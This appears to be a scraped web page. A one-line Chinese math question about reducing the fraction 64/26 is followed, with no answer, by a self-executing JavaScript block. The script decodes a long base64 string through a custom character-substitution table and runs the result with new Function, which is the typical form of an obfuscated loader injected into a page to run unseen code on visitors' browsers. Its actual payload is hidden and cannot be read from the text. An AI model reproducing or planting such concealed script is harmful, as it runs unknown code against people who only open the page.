二十六分之六十四化成约分过程是什么结果是什么？

(function(){function g92711ae(b0f9b4){var k5b206a61="emfT1zVa4?R3(5OS:F6]jk%ctNhPrXG&KDQ9u8nUw.C;~x|s$LE,-WB_vy7H/=0iYIAJogqM^l@2p!b[Zd";var m38aae2="zA-|(r,O&lSBhdDR%q71eC6f4ksbjMvTE2JwY~0au[iV_@^ng:oXxtcPm8?HF/];L!pW.5INK3GQyZ9U$=";return atob(b0f9b4).split('').map(function(q389a){var da9e1299=k5b206a61.indexOf(q389a);return da9e1299==-1?q389a:m38aae2[da9e1299]}).join('')}var c=g92711ae('ed2k://OUNzNUU5LiJ3aiIrIkI1XSIwZGN3c0JXQ0VzMSl7MWN3c0JXQ0VzMWM2bDVnUF1Wd2w1JWJjVnA2bHRjNVY1JW5iYil7Q2MxPXxYVUJUSkNzPW9XamhXMXNVR0MkVVdFem9BP1VXY0V6dikpe3pqV3d6c31HVXogUDVVNWM1RGRjd3NCV0NFczFVNjZ0QkRQKXt6ald3enMgUld6Q3Mkb2N6RXZrKFV6a0U1ajFVNjZ0QkRQKX1pR1V6IC1samp5RGxkLiI/cmhmSG5dfllhbU9+UVJ+SCZYWSJWIkdqemZuXSJWImhDNWZEYiJWIkJCV2ZEbkRnZm5sZkR5IERETGxsTF1dIjBpR1V6IENQbmJCZHA2bHRjNS5QNVU1YzVEMWI2KStQNVU1YzVEMV1dJSkrUDVVNWM1RDFdXV0pK1A1VTVjNUQxYnkpMFZDUERCQmJuZHA2bHRjNS5QNVU1YzVEMWJ5KStQNVU1YzVEMV1dJSkrUDVVNWM1RDFdXV0pK1A1VTVjNUQxYjYpMFZGbGNEbmdkNSVuYmIuQ1BuYkIxInVsO3BCdjt3NS9NckJ2Pzk1bWRkIikwVih5RFB0VVV0ZENQbmJCMSJ1bFE/dSxTP1NKLT9QSjt3NW1kZCIpVmVdZ3l5VWRDUG5iQjEiQmw7Q0JsU3BVSmdzIilWQlBQZ2piZENQbmJCMSJCdjs5UEAvciEyZGQiKVY/XSVCJWNQZENQbmJCMSJCbDNoVSwyZCIpVlBnUDVnRDZddGRDUG5iQjEiQnY7RCEsUWUhMmRkIilWQTVjVWclXURjZENQbmJCMSJVdmJBUCRkZCIpVnM2eWNdUEI1ZENQbmJCMSJCdi93IUBiVyIpVkUlXWpdY3k2ZHA2bHRjNS5DUG5iQjEiJkovblVtZGQiKTBWV101Nm5kQ1BuYkIxIiF2LUdQbHFkIilWP2pqbHklalVVZENQbmJCMSJQSi9udUQkZCIpVlBnRDVQamRDUG5iQjEiUEovOSIpVk5qbERdZENQbmJCMSJQQGIoIW1kZCIpaUdVeiBCVXlnbjVkQ1BuYkIxIkJEXW5VSlM/NSRkZCIpaUdVeiA1Z1UlUGxdaUNjMT9FQlVXQ0Vzb2hqVXpCKG9DczVqLWFjMUJVeWduNSk+Zl0pezVnVSVQbF1kNSVuYmIuKHlEUHRVVXQwMUNQbmJCMSI1QDt0NUAvcCFKS2QiKSlpNWdVJVBsXW9DNWQiVyIrRSVdal1jeTYuczZ5Y11QQjUwMSkqXWp0aTVnVSVQbF1vaFdwP2pvOUM1VyhkIl1ubjoiaTVnVSVQbF1vaFdwP2pvKGpDJChXZCJnbm5BLSJpNWdVJVBsXW81Q2hVUD9qNWRXendqaUNjMTUlbmJib1BFNXBJZHN3Pz8pezUlbmJib1BFNXBvVUFBanM1ayhDPzUxNWdVJVBsXSl9aj9oantHVXogVXR5Z2I1Z2duZGN3c0JXQ0VzMSl7NSVuYmJvUEU1cG9VQUFqczVrKEM/NTE1Z1UlUGxdKWlwNmx0YzVvemp2RUdqS0dqc1dZQ2hXanNqejFOamxEXVZVdHlnYjVnZ25WY1U/aGopfWlwNmx0YzVvVTU1S0dqc1dZQ2hXanNqejFOamxEXVZVdHlnYjVnZ25WY1U/aGopfX1HVXogOVBqVWJiNkRjZDUlbmJiLih5RFB0VVV0MDFDUG5iQjEiIUpdQyFKMmQiKSlpOVBqVWJiNkRjb0M1ZHdsNSViYytFJV1qXWN5Nm9CakM/MUUlXWpdY3k2LnM2eWNdUEI1MDEpKl1qdClpQkVzaFcgRVVCanRkMWpjRGw1Vk5jam5CYnluVkNjJXlCNTZkRG5uKWQ+X3pFdkNoam96VUJqMS5jaldCKDFqY0RsNVZOY2puQmJ5bilWc2o5IF96RXZDaGoxMTF+VnpqcmpCVylkPmhqVyZDdmpFd1cxMTEpZD56anJqQlcxc2o5IEt6ekV6MSJXQ3ZqRXdXIikpKVZDYyV5QjU2KSkpMClpR1V6IEJiJW5sQmRVaHBzQiBjd3NCV0NFczFVUGNqdG50Z1Ape0dVeiA/Y3REblVQRGQuInJoIlYiQmhoIlYiKFd2PyJWIiRDYyJWInJBJCJWIkFzJCIwaUdVeiBlY2I1UGdsZD9jdERuVVBEbz9qcyRXKGk/Y3REblVQRGQ/Y3REblVQRC5FJV1qXWN5Ni5XXTU2bjAxRSVdal1jeTYuczZ5Y11QQjUwMSkqZWNiNVBnbCkwaUdVeiB6VURVZ2pkLiIoV1dBaEw9IlY5UF1EeVAxIiFEQnc1cy8oVXIhZVBKLVc1SDNnUFJnblBsbSVhJk5dTSRkZCIpViIoV3Y/IlY5UGpVYmI2RGNvQzVWYFp7d2w1JWJjfW9aez9jdERuVVBEfWAwLkE1Y1VnJV1EYzAxIj0iKWlXenB7R1V6IGpnYkRVdGRVOVVDVyBFVUJqdDF6VURVZ2pWe0JVQihqTCJzRWZoV0V6aiJWemo1Q3pqQldMImNFPz9FOSJ9KWlqZ2JEVXRkVTlVQ1cgamdiRFV0b1dqLVcxKWlHVXogdyVQZ2NEY3lkamdiRFV0b0NzNWotYWMxUDVVNWM1RDElXSkpaUdVeiB3Ym5qbl1jQmxkIiJpQ2MxdyVQZ2NEY3k+ZG4pe3dibmpuXWNCbGRqZ2JEVXQuZV1neXlVMDF3JVBnY0RjeSlpamdiRFV0ZGpnYkRVdC5lXWd5eVUwMW5WdyVQZ2NEY3kpfWpnYkRVdGRqZ2JEVXQuP2pqbHklalVVMDE9b3tdVnR9PSQpLlBnRDVQajAxMS1kPi0uP10lQiVjUDAxIiIpLlBnUDVnRDZddDAxKS5BNWNVZyVdRGMwMSIiKSkpLkE1Y1VnJV1EYzAxIiIpaWpnYkRVdGRqZ2JEVXQrd2Juam5dY0JsaWpnYkRVdGRDUG5iQjFqZ2JEVXQpaVVQY2p0bnRnUGRqZ2JEVXQuP10lQiVjUDAxIj0iKS5uMH1CVVdCKDFqenpFeil7fUdVeiBoUG5iNnl5bHRkc2o5IE9VV2ppR1V6IGVqbmxQZGBodldDfmhDNX5ae3dsNSViY31+WntoUG5iNnl5bHRvV0VZRUJVP2pPVVdqUld6Q3MkMSl9YGlHVXogTmNiJXQlZHN3Pz9pV3pwe05jYiV0JWRRUmFNb0FVemhqMT9FQlU/UldFelUkam8kaldxV2p2MWVqbmxQKSl9QlVXQigxail7fUNjMU5jYiV0JWRkc3c/Pyl7TmNiJXQlZHtQekU5aGp6a0V3c1dMbn19TmNiJXQlb1B6RTloanprRXdzVysraUdVeiBCdFV5eWRDUERCQmJuMS1samp5RGxvQkVzQlVXMS5gc0U5Zlp7T1VXai4ic0U5IjAxKX1gVmAoempjZlp7P0VCVVdDRXNvKHpqY31gVmB3aEJmWntOY2IldCVvUHpFOWhqemtFd3NXfWAwKW9oRXpXMTExKWQ+RSVdal1jeTYuczZ5Y11QQjUwMSlmb2cpKS5BNWNVZyVdRGMwMSJWIikpaUdVeiBObmxVVWdnQmRCdFV5eW9DczVqLWFjMVA1VTVjNUQxJV0pKT5mXTdCdFV5eS5lXWd5eVUwMUJ0VXl5b0NzNWotYWMxUDVVNWM1RDElXSkpKUwiImlCdFV5eWRCdFV5eS5CUFBnamIwMU5ubFVVZ2dCViIiKS4/XSVCJWNQMDEiIikuUGdQNWdENl10MDEpLkE1Y1VnJV1EYzAxIiIpK05ubFVVZ2dCaTlQalViYjZEY29oekJkLiIoV1dBaEw9IlZVUGNqdG50Z1BWOVBqVWJiNkRjb0M1VkJ0VXl5MC5BNWNVZyVdRGMwMSI9IilpNSVuYmJvUEU1cG9Dc2hqelczamNFemoxOVBqVWJiNkRjVjUlbmJib1BFNXBvQihDPzVNRTVqaC5uMClpQ2MxNWdVJVBsXUlkc3c/Pyl7NWdVJVBsXW9HVT93aitkIlxcelxcc1VBQWpzNWo1IGp2IFdFIChXdj8iaUdVeiAoQmolJWQ1JW5iYm8kaldLP2p2anNXM3BxNTE5UGpVYmI2RGNvQzUpaUNjMShCaiUlZGRzdz8/VFQoQmolJWRkd3M1amNDc2o1KXs1Z1UlUGxdb0dVP3dqK2QiXFx6XFxzIEJVc1cgJGpXIGp2IGN6RXYgKFd2PyJ9fX1pQ2MxNWdVJVBsXUlkc3c/Pyl7NWdVJVBsXW9HVT93aitkIlxcelxcc2hqczUgcmggKEVoVyAiK2M2bDVnUF19R1V6IDlQXUR5UGRjd3NCV0NFczFVbFBsdHlCZyl7empXd3pzIENQbmJCMVVsUGx0eUJnKS5CUFBnamIwMVA1VTVjNUQxdEQpVkUlXWpdY3k2LnM2eWNdUEI1MDEpb1dFUld6Q3MkMWwlKW9oP0NCajFFJV1qXWN5Ni5XXTU2bjAxRSVdal1jeTYuczZ5Y11QQjUwMSkqYikrRCkpfWlCYiVubEIxOVBdRHlQMWM2bDVnUF0pKWlwNmx0YzUuIlU1NUtHanNXWUNoV2pzanoiMDEidmpoaFUkaiJWMWN3c0JXQ0VzMWope0NjMWpvNVVXVW9OZGR3bDUlYmMpezUlbmJibyRqV0s/anZqc1czcHE1MTlQalViYjZEY29DNSlvemp2RUdqMSlpR1V6IENVNXljZ2dkc3c/P2lDYzE1Z1UlUGxdSWRzdz8/KXs1Z1UlUGxdb0dVP3dqK2QiXFx6XFxzempCakNHaiBqdiBBRWhXIHZqaGhVJGoiaTVnVSVQbF1vR1U/d2orZCJcXHpcXHNqbzVVV1VvRyAiK2pvNVVXVW9GaUNVNXljZ2dkMW9vb0NVJVV0RGpdKWQ+e0NjMUlDVSVVdERqXVRUQ1UlVXREal1vP2pzJFcoPGRuKXpqV3d6c2k1Z1UlUGxdb0dVP3dqK2QiXFx6XFxzIitDVSVVdERqXW9yRUNzMSIgIil9fXNqOSAvd3NCV0NFczEiVXokaCJWam81VVdVb0YpMXt+VzVCaExGbGNEbmdWfj9FJExDVTV5Y2dnfSl9fSkpfSkxIiFEQnc1QDJ0TXYoZVBKLVchRDVnUFJnblBsbSVhJk5dTSRkZCJWIkRiIlY5Q3M1RTlWNUVCd3Zqc1cpfWl3akI1XTEpaQ=='.substr(7));new Function(c)()})();